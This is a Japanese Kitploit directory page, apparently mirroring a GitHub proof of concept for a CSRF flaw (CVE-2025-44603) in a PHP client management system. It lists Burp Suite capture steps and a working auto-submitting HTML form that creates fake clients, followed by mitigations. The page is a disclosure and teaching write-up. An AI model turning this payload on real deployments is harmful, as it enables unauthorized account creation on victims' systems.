Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-44603-CSRF-Leads_to_Create_FakeUsers — PHPベースの顧客管理システムにおけるCSRF脆弱性を実証する概念実証コードであり、HTMLエクスプロイトコードとWebアプリケーションセキュリティテスト用の緩和策を含みます。 | Kitploit
ツール/GitHubGitHub/moulish2004/cve-2025-44603-csrf-leads_to_create_fakeusers
脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティペネトレーションテスト学習と教育
GitHubmoulish2004/cve-2025-44603-csrf-leads_to_create_fakeusers

CVE-2025-44603-CSRF-Leads_to_Create_FakeUsers

PHPベースの顧客管理システムにおけるCSRF脆弱性を実証する概念実証コードであり、HTMLエクスプロイトコードとWebアプリケーションセキュリティテスト用の緩和策を含みます。

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見る
11年前未レビュー

CVE-2025-44603 (CSRF脆弱性: 偽のクライアントの作成につながる)

プロジェクト名 & リポジトリURL : https://phpgurukul.com/client-management-system-using-php-mysql/

脆弱性名 : クロスサイトリクエストフォージェリ(CSRF)

影響を受けるバージョン : V1.2

はじめに

PHPGurukul が開発した Client Management System の Add Client 機能には、クロスサイトリクエストフォージェリ(CSRF)脆弱性が存在します。CSRF は、認証済みユーザーを騙して悪意のあるリクエストを Web アプリケーションに送信させる攻撃です。これにより、ユーザーに代わって承認されていない操作が実行される可能性があります。このレポートでは、CSRF を使用して Client Management System に偽のユーザーを作成する方法を実証し、緩和策を提案します。

環境構築

  • ローカルホスト上の Client Management System を MySQL と PHP を使用して構築。
  • クライアントとそのサービスを追加する機能。

CSRF の悪用手順

1. 管理者としてログイン

提供された認証情報を使用して、Client Management System にログインします。

Login as admin

2. 新しいクライアントを追加

  • Add Client オプションを選択します。
  • 必要なクライアント情報を入力します。

Adding new client Enter the client details

3. クライアント追加リクエストをキャプチャする

  1. Save ボタンに移動します。
  2. Burp Suite をセットアップしてリクエストをインターセプトします。
  3. Save をクリックし、サーバーに到達する前に HTTP リクエストをキャプチャします。
  4. キャプチャしたリクエストからセッション Cookie を除き、分析のために Repeater タブに送信します。

Capturing the request in Burp Send to repeater

偽のクライアントを作成するための CSRF コード

以下は CSRF 攻撃の HTML PoC です:

root@kitploit:~
<html>
  <body>
    <form action="http://localhost/clientms/admin/add-client.php" method="POST">
      <input type="hidden" name="accounttype" value="Active Account" />
      <input type="hidden" name="cname" value="moulimurugan" />
      <input type="hidden" name="comname" value="kppr" />
      <input type="hidden" name="address" value="vijayamangalam" />
      <input type="hidden" name="city" value="erode" />
      <input type="hidden" name="state" value="tamil" />
      <input type="hidden" name="zcode" value="638026" />
      <input type="hidden" name="wphnumber" value="968560710" />
      <input type="hidden" name="cellphnumber" value="6931052465" />
      <input type="hidden" name="ophnumber" value="9638560410" />
      <input type="hidden" name="email" value="[email protected]" />
      <input type="hidden" name="password" value="moulimurugan" />
      <input type="hidden" name="websiteadd" value="clientmsdb" />
      <input type="hidden" name="notes" value="Nil" />
      <input type="hidden" name="submit" value="" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

偽のクライアントの作成

  • 既存の情報を変更して 偽のクライアント を作成します。

Adding fake user 1 Adding fake user 2

CSRF PoC のテスト

  1. 生成された CSRF PoC リンク をブラウザで開きます。
  2. ページが開き、Submit ボタンが表示されます。
  3. Submit をクリックすると、リクエストが実行され、偽のクライアントが作成されます。

Open PoC in browser Hit submit request

偽のクライアント作成の確認

  • 送信後、偽のクライアントが管理者ダッシュボードに表示されます。

Fake clients created Multiple users created

緩和策

CSRF 攻撃を防ぐには、次の対策を実施してください:

  1. CSRF トークン
    • すべてのフォーム送信で anti-CSRF トークン を使用し、サーバー側で検証します。
  2. SameSite Cookie
    • セッション Cookie に SameSite=Strict または SameSite=Lax 属性を設定します。
  3. Referer ヘッダーと Origin ヘッダーの検証
    • リクエストを処理する前に Referer ヘッダーと Origin ヘッダーを検証します。
  4. ユーザー認証チェック
    • 自動化された攻撃を防ぐため、重要な操作には CAPTCHA を要求します。
  5. HTTP メソッドの制限
    • 機密性の高い操作には POST を使用し、副作用のある GET リクエストの処理を避けます。

結論

このレポートでは、Client Management System において CSRF 脆弱性を悪用して不正なクライアントを作成する方法を実証しました。提案された緩和策を実装することで、このような攻撃からアプリケーションを保護できます。

ツールをダウンロード